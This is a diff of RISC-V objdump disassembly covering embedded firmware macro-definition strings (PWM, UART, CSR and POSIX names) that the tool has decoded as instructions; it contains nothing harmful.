+    2dde:	6769                	lui	a4,0x1a
+    2de0:	656e                	flw	fa0,216(sp)
+    2de2:	2064                	fld	fs1,192(s0)
+    2de4:	6e69                	lui	t3,0x1a
+    2de6:	0074                	addi	a3,sp,12
+    2de8:	495f 4346 5248      	0x52484346495f
+    2dee:	3020                	fld	fs0,96(s0)
+    2df0:	3230                	fld	fa2,96(a2)
+    2df2:	3030                	fld	fa2,96(s0)
+    2df4:	3030                	fld	fa2,96(s0)
+    2df6:	5f00                	lw	s0,56(a4)
+    2df8:	545f4353          	0x545f4353
+    2dfc:	5248                	lw	a0,36(a2)
+    2dfe:	4145                	li	sp,17
+    2e00:	5f44                	lw	s1,60(a4)
+    2e02:	524f5053          	0x524f5053
+    2e06:	4441                	li	s0,16
+    2e08:	4349                	li	t1,18
+    2e0a:	535f 5245 4556      	0x45565245535f
+    2e10:	2052                	fld	ft0,272(sp)
+    2e12:	3138                	fld	fa4,96(a0)
+    2e14:	5f00                	lw	s0,56(a4)
+    2e16:	4350                	lw	a2,4(a4)
+    2e18:	505f 5049 5f45      	0x5f455049505f
+    2e1e:	5542                	lw	a0,48(sp)
+    2e20:	2046                	fld	ft0,80(sp)
+    2e22:	0035                	c.nop	13
+    2e24:	5f46                	lw	t5,112(sp)
+    2e26:	4752                	lw	a4,20(sp)
+    2e28:	5445                	li	s0,-15
+    2e2a:	4b4c                	lw	a1,20(a4)
+    2e2c:	3120                	fld	fs0,96(a0)
+    2e2e:	0030                	addi	a2,sp,8
+    2e30:	5f5f 7261 5f67      	0x5f6772615f5f
+    2e36:	7974                	flw	fa3,116(a0)
+    2e38:	6570                	flw	fa2,76(a0)
+    2e3a:	745f 6761 6128      	0x61286761745f
+    2e40:	6772                	flw	fa4,28(sp)
+    2e42:	6b5f 6e69 2c64      	0x2c646e696b5f
+    2e48:	7261                	lui	tp,0xffff8
+    2e4a:	64695f67          	0x64695f67
+    2e4e:	2c78                	fld	fa4,216(s0)
+    2e50:	7974                	flw	fa3,116(a0)
+    2e52:	6570                	flw	fa2,76(a0)
+    2e54:	745f 6761 695f      	0x695f6761745f
+    2e5a:	7864                	flw	fs1,116(s0)
+    2e5c:	2029                	jal	2e66 <__stack_size+0x2666>
+    2e5e:	5000                	lw	s0,32(s0)
+    2e60:	435f4d57          	0x435f4d57
+    2e64:	4746                	lw	a4,80(sp)
+    2e66:	435f 504d 4933      	0x4933504d435f
+    2e6c:	2050                	fld	fa2,128(s0)
+    2e6e:	7830                	flw	fa2,112(s0)
+    2e70:	3038                	fld	fa4,96(s0)
+    2e72:	3030                	fld	fa2,96(s0)
+    2e74:	3030                	fld	fa2,96(s0)
+    2e76:	3030                	fld	fa2,96(s0)
+    2e78:	5f00                	lw	s0,56(a4)
+    2e7a:	565f4353          	0x565f4353
+    2e7e:	504c5f37          	lui	t5,0x504c5
+    2e82:	4942                	lw	s2,16(sp)
+    2e84:	464f5f47          	fmsub.q	ft10,ft10,ft4,fs0,unknown
+    2e88:	4246                	lw	tp,80(sp)
+    2e8a:	4749                	li	a4,18
+    2e8c:	3920                	fld	fs0,112(a0)
+    2e8e:	0035                	c.nop	13
+    2e90:	535f 5f43 4854      	0x48545f43535f
+    2e96:	4552                	lw	a0,20(sp)
+    2e98:	4441                	li	s0,16
+    2e9a:	4b5f 5945 5f53      	0x5f5359454b5f
+    2ea0:	414d                	li	sp,19
+    2ea2:	2058                	fld	fa4,128(s0)
+    2ea4:	53003833          	0x53003833
+    2ea8:	455f 464e 544d      	0x544d464e455f
+    2eae:	3020                	fld	fs0,96(s0)
+    2eb0:	3030                	fld	fa2,96(s0)
+    2eb2:	3032                	fld	ft0,296(sp)
+    2eb4:	3030                	fld	fa2,96(s0)
+    2eb6:	5f00                	lw	s0,56(a4)
+    2eb8:	465f 544c 4d5f      	0x4d5f544c465f
+    2ebe:	4e41                	li	t3,16
+    2ec0:	5f54                	lw	a3,60(a4)
+    2ec2:	4944                	lw	s1,20(a0)
+    2ec4:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
+    2ec8:	3432                	fld	fs0,296(sp)
+    2eca:	4100                	lw	s0,0(a0)
+    2ecc:	4752                	lw	a4,20(sp)
+    2ece:	4d5f 5841 3620      	0x362058414d5f
+    2ed4:	3535                	jal	2d00 <__stack_size+0x2500>
+    2ed6:	5f003633          	0x5f003633
+    2eda:	615f 7373 7265      	0x72657373615f
+    2ee0:	7374                	flw	fa3,100(a4)
+    2ee2:	655f 6378 756c      	0x756c6378655f
+    2ee8:	65766973          	csrrsi	s2,0x657,12
+    2eec:	2e28                	fld	fa0,88(a2)
+    2eee:	2e2e                	fld	ft8,200(sp)
+    2ef0:	2029                	jal	2efa <__stack_size+0x26fa>
+    2ef2:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
+    2ef8:	615f 6e6e 746f      	0x746f6e6e615f
+    2efe:	7461                	lui	s0,0xffff8
+    2f00:	2865                	jal	2fb8 <__stack_size+0x27b8>
+    2f02:	7361                	lui	t1,0xffff8
+    2f04:	74726573          	csrrsi	a0,0x747,4
+    2f08:	655f 6378 756c      	0x756c6378655f
+    2f0e:	65766973          	csrrsi	s2,0x657,12
+    2f12:	6c5f 636f 286b      	0x286b636f6c5f
+    2f18:	5f5f 4156 415f      	0x415f41565f5f
+    2f1e:	4752                	lw	a4,20(sp)
+    2f20:	295f5f53          	0x295f5f53
+    2f24:	0029                	c.nop	10
+    2f26:	4548                	lw	a0,12(a0)
+    2f28:	4658                	lw	a4,12(a2)
+    2f2a:	5649                	li	a2,-14
+    2f2c:	5f45                	li	t5,-15
+    2f2e:	4c50                	lw	a2,28(s0)
+    2f30:	5441                	li	s0,-16
+    2f32:	4f46                	lw	t5,80(sp)
+    2f34:	4d52                	lw	s10,20(sp)
+    2f36:	485f 0020 505f      	0x505f0020485f
+    2f3c:	4854                	lw	a3,20(s0)
+    2f3e:	4552                	lw	a0,20(sp)
+    2f40:	4441                	li	s0,16
+    2f42:	435f 4e4f 5f44      	0x5f444e4f435f
+    2f48:	4e49                	li	t3,18
+    2f4a:	5449                	li	s0,-14
+    2f4c:	4149                	li	sp,18
+    2f4e:	494c                	lw	a1,20(a0)
+    2f50:	455a                	lw	a0,148(sp)
+    2f52:	2052                	fld	ft0,272(sp)
+    2f54:	2828                	fld	fa0,80(s0)
+    2f56:	7470                	flw	fa2,108(s0)
+    2f58:	7268                	flw	fa0,100(a2)
+    2f5a:	6165                	addi	sp,sp,112
+    2f5c:	5f64                	lw	s1,124(a4)
+    2f5e:	646e6f63          	bltu	t3,t1,35bc <__stack_size+0x2dbc>
+    2f62:	745f 2029 7830      	0x78302029745f
+    2f68:	4646                	lw	a2,80(sp)
+    2f6a:	4646                	lw	a2,80(sp)
+    2f6c:	4646                	lw	a2,80(sp)
+    2f6e:	4646                	lw	a2,80(sp)
+    2f70:	0029                	c.nop	10
+    2f72:	52525343          	fmadd.d	ft6,ft4,ft5,fa0,unknown
+    2f76:	6328                	flw	fa0,64(a4)
+    2f78:	20297273          	csrrci	tp,hedeleg,18
+    2f7c:	7b28                	flw	fa0,112(a4)
+    2f7e:	7520                	flw	fs0,104(a0)
+    2f80:	736e                	flw	ft6,248(sp)
+    2f82:	6769                	lui	a4,0x1a
+    2f84:	656e                	flw	fa0,216(sp)
+    2f86:	2064                	fld	fs1,192(s0)
+    2f88:	6f6c                	flw	fa1,92(a4)
+    2f8a:	676e                	flw	fa4,216(sp)
+    2f8c:	7220                	flw	fs0,96(a2)
+    2f8e:	3b64                	fld	fs1,240(a4)
+    2f90:	6120                	flw	fs0,64(a0)
+    2f92:	76206d73          	csrrsi	s10,0x762,0
+    2f96:	74616c6f          	jal	s8,196dc <__stack_size+0x18edc>
+    2f9a:	6c69                	lui	s8,0x1a
+    2f9c:	2065                	jal	3044 <__stack_size+0x2844>
+    2f9e:	2228                	fld	fa0,64(a2)
+    2fa0:	72727363          	bgeu	tp,t2,36c6 <__stack_size+0x2ec6>
+    2fa4:	2520                	fld	fs0,72(a0)
+    2fa6:	2c30                	fld	fa2,88(s0)
+    2fa8:	2220                	fld	fs0,64(a2)
+    2faa:	2320                	fld	fs0,64(a4)
+    2fac:	20727363          	bgeu	tp,t2,31b2 <__stack_size+0x29b2>
+    2fb0:	203a                	fld	ft0,392(sp)
+    2fb2:	3d22                	fld	fs10,40(sp)
+    2fb4:	2272                	fld	ft4,280(sp)
+    2fb6:	7228                	flw	fa0,96(a2)
+    2fb8:	2964                	fld	fs1,208(a0)
+    2fba:	3b29                	jal	2cd4 <__stack_size+0x24d4>
+    2fbc:	7220                	flw	fs0,96(a2)
+    2fbe:	3b64                	fld	fs1,240(a4)
+    2fc0:	7d20                	flw	fs0,120(a0)
+    2fc2:	0029                	c.nop	10
+    2fc4:	535f 5f43 4342      	0x43425f43535f
+    2fca:	425f 5341 5f45      	0x5f455341425f
+    2fd0:	414d                	li	sp,19
+    2fd2:	2058                	fld	fa4,128(s0)
+    2fd4:	3735                	jal	2f00 <__stack_size+0x2700>
+    2fd6:	4200                	lw	s0,0(a2)
+    2fd8:	5459                	li	s0,-10
+    2fda:	5f45                	li	t5,-15
+    2fdc:	4544524f          	0x4544524f
+    2fe0:	2052                	fld	ft0,272(sp)
+    2fe2:	425f 5459 5f45      	0x5f455459425f
+    2fe8:	4544524f          	0x4544524f
+    2fec:	0052                	c.slli	zero,0x14
+    2fee:	5f5f 4c46 3654      	0x36544c465f5f
+    2ff4:	5f34                	lw	a3,120(a4)
+    2ff6:	4148                	lw	a0,4(a0)
+    2ff8:	55515f53          	0x55515f53
+    2ffc:	4549                	li	a0,18
+    2ffe:	5f54                	lw	a3,60(a4)
+    3000:	414e                	lw	sp,208(sp)
+    3002:	5f4e                	lw	t5,240(sp)
+    3004:	205f 0031 5a4d      	0x5a4d0031205f
+    300a:	5f454e4f          	fnmadd.q	ft8,fa0,fs4,fa1,rmm
+    300e:	49545257          	0x49545257
+    3012:	454d                	li	a0,19
+    3014:	28504d43          	fmadd.s	fs10,ft0,ft5,ft5,rmm
+    3018:	6176                	flw	ft2,92(sp)
+    301a:	296c                	fld	fa1,208(a0)
+    301c:	6120                	flw	fs0,64(a0)
+    301e:	76206d73          	csrrsi	s10,0x762,0
+    3022:	74616c6f          	jal	s8,19768 <__stack_size+0x18f68>
+    3026:	6c69                	lui	s8,0x1a
+    3028:	2065                	jal	30d0 <__stack_size+0x28d0>
+    302a:	2028                	fld	fa0,64(s0)
+    302c:	6d22                	flw	fs10,8(sp)
+    302e:	2076                	fld	ft0,344(sp)
+    3030:	3161                	jal	2cb8 <__stack_size+0x24b8>
+    3032:	202c                	fld	fa1,64(s0)
+    3034:	3025                	jal	285c <__stack_size+0x205c>
+    3036:	766d203b          	0x766d203b
+    303a:	6120                	flw	fs0,64(a0)
+    303c:	2c32                	fld	fs8,264(sp)
+    303e:	2520                	fld	fs0,72(a0)
+    3040:	3b31                	jal	2d5c <__stack_size+0x255c>
+    3042:	2022                	fld	ft0,8(sp)
+    3044:	6c22                	flw	fs8,8(sp)
+    3046:	2069                	jal	30d0 <__stack_size+0x28d0>
+    3048:	3061                	jal	28d0 <__stack_size+0x20d0>
+    304a:	202c                	fld	fa1,64(s0)
+    304c:	3b36                	fld	fs6,360(sp)
+    304e:	2022                	fld	ft0,8(sp)
+    3050:	7a6d                	lui	s4,0xffffb
+    3052:	20656e6f          	jal	t3,59258 <__stack_size+0x58a58>
+    3056:	203a                	fld	ft0,392(sp)
+    3058:	203a                	fld	ft0,392(sp)
+    305a:	7222                	flw	ft4,40(sp)
+    305c:	2822                	fld	fa6,8(sp)
+    305e:	7528                	flw	fa0,104(a0)
+    3060:	6e69                	lui	t3,0x1a
+    3062:	3374                	fld	fa3,224(a4)
+    3064:	5f32                	lw	t5,44(sp)
+    3066:	2974                	fld	fa3,208(a0)
+    3068:	6176                	flw	ft2,92(sp)
+    306a:	296c                	fld	fa1,208(a0)
+    306c:	202c                	fld	fa1,64(s0)
+    306e:	7222                	flw	ft4,40(sp)
+    3070:	2822                	fld	fa6,8(sp)
+    3072:	7528                	flw	fa0,104(a0)
+    3074:	6e69                	lui	t3,0x1a
+    3076:	3374                	fld	fa3,224(a4)
+    3078:	5f32                	lw	t5,44(sp)
+    307a:	2974                	fld	fa3,208(a0)
+    307c:	2828                	fld	fa0,80(s0)
+    307e:	6975                	lui	s2,0x1d
+    3080:	746e                	flw	fs0,248(sp)
+    3082:	3436                	fld	fs0,360(sp)
+    3084:	745f 7629 6c61      	0x6c617629745f
+    308a:	3e3e                	fld	ft8,488(sp)
+    308c:	29293233          	0x29293233
+    3090:	3a20                	fld	fs0,112(a2)
+    3092:	2220                	fld	fs0,64(a2)
+    3094:	3061                	jal	291c <__stack_size+0x211c>
+    3096:	2c22                	fld	fs8,8(sp)
+    3098:	2220                	fld	fs0,64(a2)
+    309a:	3161                	jal	2d22 <__stack_size+0x2522>
+    309c:	2c22                	fld	fs8,8(sp)
+    309e:	2220                	fld	fs0,64(a2)
+    30a0:	3261                	jal	2a28 <__stack_size+0x2228>
+    30a2:	2022                	fld	ft0,8(sp)
+    30a4:	3b29                	jal	2dbe <__stack_size+0x25be>
+    30a6:	4300                	lw	s0,0(a4)
+    30a8:	4d5f5253          	0x4d5f5253
+    30ac:	5048                	lw	a0,36(s0)
+    30ae:	434d                	li	t1,19
+    30b0:	544e554f          	0x544e554f
+    30b4:	5245                	li	tp,-15
+    30b6:	31204833          	0x31204833
+    30ba:	0039                	c.nop	14
+    30bc:	5f5f 7361 6573      	0x657373615f5f
+    30c2:	7472                	flw	fs0,60(sp)
+    30c4:	68735f73          	csrrwi	t5,0x687,6
+    30c8:	7261                	lui	tp,0xffff8
+    30ca:	6465                	lui	s0,0x19
+    30cc:	2e28                	fld	fa0,88(a2)
+    30ce:	2e2e                	fld	ft8,200(sp)
+    30d0:	2029                	jal	30da <__stack_size+0x28da>
+    30d2:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
+    30d8:	615f 6e6e 746f      	0x746f6e6e615f
+    30de:	7461                	lui	s0,0xffff8
+    30e0:	2865                	jal	3198 <__stack_size+0x2998>
+    30e2:	7361                	lui	t1,0xffff8
+    30e4:	74726573          	csrrsi	a0,0x747,4
+    30e8:	735f 6168 6572      	0x65726168735f
+    30ee:	5f64                	lw	s1,124(a4)
+    30f0:	6f6c                	flw	fa1,92(a4)
+    30f2:	5f286b63          	bltu	a6,s2,36e8 <__stack_size+0x2ee8>
+    30f6:	565f 5f41 5241      	0x52415f41565f
+    30fc:	5f5f5347          	fmsub.q	ft6,ft10,fs5,fa1,unknown
+    3100:	2929                	jal	351a <__stack_size+0x2d1a>
+    3102:	4200                	lw	s0,0(a2)
+    3104:	4e54                	lw	a3,28(a2)
+    3106:	5f30                	lw	a2,120(a4)
+    3108:	5249                	li	tp,-14
+    310a:	2051                	jal	318e <__stack_size+0x298e>
+    310c:	3631                	jal	2c18 <__stack_size+0x2418>
+    310e:	5f00                	lw	s0,56(a4)
+    3110:	5f5f 6e69 3174      	0x31746e695f5f
+    3116:	5f36                	lw	t5,108(sp)
+    3118:	5f74                	lw	a3,124(a4)
+    311a:	6564                	flw	fs1,76(a0)
+    311c:	6966                	flw	fs2,88(sp)
+    311e:	656e                	flw	fa0,216(sp)
+    3120:	2064                	fld	fs1,192(s0)
+    3122:	0031                	c.nop	12
+    3124:	5f5f 4e47 4355      	0x43554e475f5f
+    312a:	494c                	lw	a1,20(a0)
+    312c:	4d5f454b          	0x4d5f454b
+    3130:	5441                	li	s0,-16
+    3132:	5f48                	lw	a0,60(a4)
+    3134:	5542                	lw	a0,48(sp)
+    3136:	4c49                	li	s8,18
+    3138:	4954                	lw	a3,20(a0)
+    313a:	5f4e                	lw	t5,240(sp)
+    313c:	4552                	lw	a0,20(sp)
+    313e:	4f4c                	lw	a1,28(a4)
+    3140:	5350                	lw	a2,36(a4)
+    3142:	0020                	addi	s0,sp,8
+    3144:	535f 4953 455a      	0x455a4953535f
+    314a:	545f 445f 4345      	0x4345445f545f
+    3150:	414c                	lw	a1,4(a0)
+    3152:	4552                	lw	a0,20(sp)
+    3154:	2044                	fld	fs1,128(s0)
+    3156:	5f00                	lw	s0,56(a4)
+    3158:	4955                	li	s2,21
+    315a:	544e                	lw	s0,240(sp)
+    315c:	3631                	jal	2c68 <__stack_size+0x2468>
+    315e:	545f 445f 4345      	0x4345445f545f
+    3164:	414c                	lw	a1,4(a0)
+    3166:	4552                	lw	a0,20(sp)
+    3168:	2044                	fld	fs1,128(s0)
+    316a:	5f00                	lw	s0,56(a4)
+    316c:	545f4353          	0x545f4353
+    3170:	5248                	lw	a0,36(a2)
+    3172:	4145                	li	sp,17
+    3174:	5f44                	lw	s1,60(a4)
+    3176:	5250                	lw	a2,36(a2)
+    3178:	4f49                	li	t5,18
+    317a:	505f 4f52 4554      	0x45544f52505f
+    3180:	34205443          	0x34205443
+    3184:	5f5f0037          	lui	zero,0x5f5f0
+    3188:	4f4c                	lw	a1,28(a4)
+    318a:	474e                	lw	a4,208(sp)
+    318c:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    3192:	3020                	fld	fs0,96(s0)
+    3194:	3778                	fld	fa4,232(a4)
+    3196:	6666                	flw	fa2,88(sp)
+    3198:	6666                	flw	fa2,88(sp)
+    319a:	6666                	flw	fa2,88(sp)
+    319c:	4c66                	lw	s8,88(sp)
+    319e:	5f00                	lw	s0,56(a4)
+    31a0:	325f4353          	0x325f4353
+    31a4:	465f 524f 5f54      	0x5f54524f465f
+    31aa:	5552                	lw	a0,52(sp)
+    31ac:	204e                	fld	ft0,208(sp)
+    31ae:	3131                	jal	2dba <__stack_size+0x25ba>
+    31b0:	0031                	c.nop	12
+    31b2:	5f5f 4e49 5f54      	0x5f544e495f5f
+    31b8:	454c                	lw	a1,12(a0)
+    31ba:	5341                	li	t1,-16
+    31bc:	3854                	fld	fa3,176(s0)
+    31be:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    31c4:	3020                	fld	fs0,96(s0)
+    31c6:	3778                	fld	fa4,232(a4)
+    31c8:	0066                	c.slli	zero,0x19
+    31ca:	515f 4155 5f44      	0x5f444155515f
+    31d0:	4948                	lw	a0,20(a0)
+    31d2:	4f574847          	fmsub.q	fa6,fa4,fs5,fs1,rmm
+    31d6:	4452                	lw	s0,20(sp)
+    31d8:	3120                	fld	fs0,96(a0)
+    31da:	5f00                	lw	s0,56(a4)
+    31dc:	465f 544c 4d5f      	0x4d5f544c465f
+    31e2:	4e49                	li	t3,18
+    31e4:	455f 5058 5f5f      	0x5f5f5058455f
+    31ea:	2820                	fld	fs0,80(s0)
+    31ec:	312d                	jal	2e16 <__stack_size+0x2616>
+    31ee:	3532                	fld	fa0,296(sp)
+    31f0:	0029                	c.nop	10
+    31f2:	6566                	flw	fa0,88(sp)
+    31f4:	755f666f          	jal	a2,fa148 <__stack_size+0xf9948>
+    31f8:	6c6e                	flw	fs8,216(sp)
+    31fa:	656b636f          	jal	t1,b9850 <__stack_size+0xb9050>
+    31fe:	2864                	fld	fs1,208(s0)
+    3200:	2970                	fld	fa2,208(a0)
+    3202:	5f20                	lw	s0,120(a4)
+    3204:	735f 6566 666f      	0x666f6566735f
+    320a:	7028                	flw	fa0,96(s0)
+    320c:	0029                	c.nop	10
+    320e:	5f5f 5942 4554      	0x455459425f5f
+    3214:	4f5f 4452 5245      	0x524544524f5f
+    321a:	5f5f 5f20 4f5f      	0x4f5f5f205f5f
+    3220:	4452                	lw	s0,20(sp)
+    3222:	5245                	li	tp,-15
+    3224:	4c5f 5449 4c54      	0x4c5454494c5f
+    322a:	5f45                	li	t5,-15
+    322c:	4e45                	li	t3,17
+    322e:	4944                	lw	s1,20(a0)
+    3230:	4e41                	li	t3,16
+    3232:	5f5f 5f00 555f      	0x555f5f005f5f
+    3238:	4e49                	li	t3,18
+    323a:	3654                	fld	fa3,168(a2)
+    323c:	5f34                	lw	a3,120(a4)
+    323e:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
+    3242:	6320                	flw	fs0,64(a4)
+    3244:	2320                	fld	fs0,64(a4)
+    3246:	4c552023          	sw	t0,1216(a0) # 194c0 <__stack_size+0x18cc0>
+    324a:	004c                	addi	a1,sp,4
+    324c:	5f5f 6373 656c      	0x656c63735f5f
+    3252:	7261                	lui	tp,0xffff8
+    3254:	7265                	lui	tp,0xffff9
+    3256:	2872                	fld	fa6,280(sp)
+    3258:	2970                	fld	fa2,208(a0)
+    325a:	2820                	fld	fs0,80(s0)
+    325c:	7628                	flw	fa0,104(a2)
+    325e:	2964696f          	jal	s2,494f4 <__stack_size+0x48cf4>
+    3262:	2828                	fld	fa0,80(s0)
+    3264:	2970                	fld	fa2,208(a0)
+    3266:	3e2d                	jal	2da0 <__stack_size+0x25a0>
+    3268:	665f 616c 7367      	0x7367616c665f
+    326e:	2620                	fld	fs0,72(a2)
+    3270:	203d                	jal	329e <__stack_size+0x2a9e>
+    3272:	287e                	fld	fa6,472(sp)
+    3274:	5f5f 4553 5252      	0x525245535f5f
+    327a:	5f7c                	lw	a5,124(a4)
+    327c:	535f 4f45 2946      	0x29464f45535f
+    3282:	2929                	jal	369c <__stack_size+0x2e9c>
+    3284:	5f00                	lw	s0,56(a4)
+    3286:	745f 7972 6f6c      	0x6f6c7972745f
+    328c:	5f736b63          	bltu	t1,s7,3882 <__stack_size+0x3082>
+    3290:	7865                	lui	a6,0xffff9
+    3292:	73756c63          	bltu	a0,s7,39ca <__stack_size+0x31ca>
+    3296:	7669                	lui	a2,0xffffa
+    3298:	2865                	jal	3350 <__stack_size+0x2b50>
+    329a:	2e2e                	fld	ft8,200(sp)
+    329c:	292e                	fld	fs2,200(sp)
+    329e:	5f20                	lw	s0,120(a4)
+    32a0:	6c5f 636f 5f6b      	0x5f6b636f6c5f
+    32a6:	6e61                	lui	t3,0x18
+    32a8:	6f6e                	flw	ft10,216(sp)
+    32aa:	6174                	flw	fa3,68(a0)
+    32ac:	6574                	flw	fa3,76(a0)
+    32ae:	6528                	flw	fa0,72(a0)
+    32b0:	6378                	flw	fa4,68(a4)
+    32b2:	756c                	flw	fa1,108(a0)
+    32b4:	65766973          	csrrsi	s2,0x657,12
+    32b8:	745f 7972 6f6c      	0x6f6c7972745f
+    32be:	665f6b63          	bltu	t5,t0,3934 <__stack_size+0x3134>
+    32c2:	6e75                	lui	t3,0x1d
+    32c4:	6f697463          	bgeu	s2,s6,39ac <__stack_size+0x31ac>
+    32c8:	286e                	fld	fa6,216(sp)
+    32ca:	5f5f 4156 415f      	0x415f41565f5f
+    32d0:	4752                	lw	a4,20(sp)
+    32d2:	295f5f53          	0x295f5f53
+    32d6:	0029                	c.nop	10
+    32d8:	4e5f 494c 4b4e      	0x4b4e494c4e5f
+    32de:	545f 445f 4345      	0x4345445f545f
+    32e4:	414c                	lw	a1,4(a0)
+    32e6:	4552                	lw	a0,20(sp)
+    32e8:	2044                	fld	fs1,128(s0)
+    32ea:	5f00                	lw	s0,56(a4)
+    32ec:	535f 5a49 4f45      	0x4f455a49535f
+    32f2:	5f46                	lw	t5,112(sp)
+    32f4:	41484357          	0x41484357
+    32f8:	5f52                	lw	t5,52(sp)
+    32fa:	5f54                	lw	a3,60(a4)
+    32fc:	205f 0034 665f      	0x665f0034205f
+    3302:	6e75                	lui	t3,0x1d
+    3304:	6f6c                	flw	fa1,92(a4)
+    3306:	69666b63          	bltu	a2,s6,399c <__stack_size+0x319c>
+    330a:	656c                	flw	fa1,76(a0)
+    330c:	6628                	flw	fa0,72(a2)
+    330e:	2970                	fld	fa2,208(a0)
+    3310:	2820                	fld	fs0,80(s0)
+    3312:	2828                	fld	fa0,80(s0)
+    3314:	7066                	flw	ft0,120(sp)
+    3316:	2d29                	jal	3930 <__stack_size+0x3130>
+    3318:	5f3e                	lw	t5,236(sp)
+    331a:	6c66                	flw	fs8,88(sp)
+    331c:	6761                	lui	a4,0x18
+    331e:	20262073          	csrs	hedeleg,a2
+    3322:	5f5f 5353 5254      	0x525453535f5f
+    3328:	2029                	jal	3332 <__stack_size+0x2b32>
+    332a:	2030203f 5f5f203a 	0x5f5f203a2030203f
+    3332:	6f6c                	flw	fa1,92(a4)
+    3334:	725f6b63          	bltu	t5,t0,3a6a <__stack_size+0x326a>
+    3338:	6c65                	lui	s8,0x19
+    333a:	6165                	addi	sp,sp,112
+    333c:	725f6573          	csrrsi	a0,0x725,30
+    3340:	6365                	lui	t1,0x19
+    3342:	7275                	lui	tp,0xffffd
+    3344:	65766973          	csrrsi	s2,0x657,12
+    3348:	2828                	fld	fa0,80(s0)
+    334a:	7066                	flw	ft0,120(sp)
+    334c:	2d29                	jal	3966 <__stack_size+0x3166>
+    334e:	5f3e                	lw	t5,236(sp)
+    3350:	6f6c                	flw	fa1,92(a4)
+    3352:	29296b63          	bltu	s2,s2,35e8 <__stack_size+0x2de8>
+    3356:	5f00                	lw	s0,56(a4)
+    3358:	525f 4e41 5f44      	0x5f444e41525f
+    335e:	414d                	li	sp,19
+    3360:	2058                	fld	fa4,128(s0)
+    3362:	7830                	flw	fa2,112(s0)
+    3364:	66666637          	lui	a2,0x66666
+    3368:	6666                	flw	fa2,88(sp)
+    336a:	6666                	flw	fa2,88(sp)
+    336c:	5f00                	lw	s0,56(a4)
+    336e:	4954                	lw	a3,20(a0)
+    3370:	454d                	li	a0,19
+    3372:	4156                	lw	sp,84(sp)
+    3374:	5f4c                	lw	a1,60(a4)
+    3376:	4544                	lw	s1,12(a0)
+    3378:	4946                	lw	s2,80(sp)
+    337a:	454e                	lw	a0,208(sp)
+    337c:	2044                	fld	fs1,128(s0)
+    337e:	5000                	lw	s0,32(s0)
+    3380:	435f4d57          	0x435f4d57
+    3384:	4746                	lw	a4,80(sp)
+    3386:	435f 504d 4332      	0x4332504d435f
+    338c:	4e45                	li	t3,17
+    338e:	4554                	lw	a3,12(a0)
+    3390:	2052                	fld	ft0,272(sp)
+    3392:	7830                	flw	fa2,112(s0)
+    3394:	3030                	fld	fa2,96(s0)
+    3396:	3430                	fld	fa2,104(s0)
+    3398:	3030                	fld	fa2,96(s0)
+    339a:	3030                	fld	fa2,96(s0)
+    339c:	5f00                	lw	s0,56(a4)
+    339e:	465f 544c 455f      	0x455f544c465f
+    33a4:	4156                	lw	sp,84(sp)
+    33a6:	5f4c                	lw	a1,60(a4)
+    33a8:	454d                	li	a0,19
+    33aa:	4854                	lw	a3,20(s0)
+    33ac:	545f444f          	0x545f444f
+    33b0:	38315f53          	0x38315f53
+    33b4:	3636                	fld	fa2,360(sp)
+    33b6:	5f31                	li	t5,-20
+    33b8:	205f5f33          	0x205f5f33
+    33bc:	0030                	addi	a2,sp,8
+    33be:	5f5f 4955 544e      	0x544e49555f5f
+    33c4:	414d                	li	sp,19
+    33c6:	5f58                	lw	a4,60(a4)
+    33c8:	414d                	li	sp,19
+    33ca:	5f58                	lw	a4,60(a4)
+    33cc:	205f 7830 6666      	0x66667830205f
+    33d2:	6666                	flw	fa2,88(sp)
+    33d4:	6666                	flw	fa2,88(sp)
+    33d6:	6666                	flw	fa2,88(sp)
+    33d8:	6666                	flw	fa2,88(sp)
+    33da:	6666                	flw	fa2,88(sp)
+    33dc:	6666                	flw	fa2,88(sp)
+    33de:	6666                	flw	fa2,88(sp)
+    33e0:	4c55                	li	s8,21
+    33e2:	004c                	addi	a1,sp,4
+    33e4:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
+    33e8:	484d                	li	a6,19
+    33ea:	4d50                	lw	a2,28(a0)
+    33ec:	4e554f43          	fmadd.q	ft10,fa0,ft5,fs1,rmm
+    33f0:	4554                	lw	a3,12(a0)
+    33f2:	3252                	fld	ft4,304(sp)
+    33f4:	2036                	fld	ft0,328(sp)
+    33f6:	3132                	fld	ft2,296(sp)
+    33f8:	5f00                	lw	s0,56(a4)
+    33fa:	5342                	lw	t1,48(sp)
+    33fc:	5444                	lw	s1,44(s0)
+    33fe:	5059                	c.li	zero,-10
+    3400:	5345                	li	t1,-15
+    3402:	445f 4645 4e49      	0x4e494645445f
+    3408:	4445                	li	s0,17
+    340a:	0020                	addi	s0,sp,8
+    340c:	505f 5f43 4c41      	0x4c415f43505f
+    3412:	4f4c                	lw	a1,28(a4)
+    3414:	49535f43          	fmadd.s	ft10,ft6,fs5,fs1,unknown
+    3418:	455a                	lw	a0,148(sp)
+    341a:	4d5f 4e49 3120      	0x31204e494d5f
+    3420:	0035                	c.nop	13
+    3422:	5f5f 4c46 5f54      	0x5f544c465f5f
+    3428:	4152                	lw	sp,20(sp)
+    342a:	4944                	lw	s1,20(a0)
+    342c:	5f58                	lw	a4,60(a4)
+    342e:	205f 0032 4155      	0x41550032205f
+    3434:	5452                	lw	s0,52(sp)
+    3436:	525f 4358 5254      	0x52544358525f
+    343c:	204c                	fld	fa1,128(s0)
+    343e:	7830                	flw	fa2,112(s0)
+    3440:	6330                	flw	fa2,64(a4)
+    3442:	4c00                	lw	s0,24(s0)
+    3444:	5f4b434f          	fnmadd.q	ft6,fs6,fs4,fa1,rmm
+    3448:	424e                	lw	tp,208(sp)
+    344a:	3020                	fld	fs0,96(s0)
+    344c:	3078                	fld	fa4,224(s0)
+    344e:	0034                	addi	a3,sp,8
+    3450:	535f 5f43 4f58      	0x4f585f43535f
+    3456:	4550                	lw	a2,12(a0)
+    3458:	5f4e                	lw	t5,240(sp)
+    345a:	454c                	lw	a1,12(a0)
+    345c:	59434147          	fmsub.s	ft2,ft6,fs4,fa1,rmm
+    3460:	3920                	fld	fs0,112(a0)
+    3462:	0038                	addi	a4,sp,8
+    3464:	525f 4545 544e      	0x544e4545525f
+    346a:	435f 4548 4b43      	0x4b434548435f
+    3470:	545f 284d 7470      	0x7470284d545f
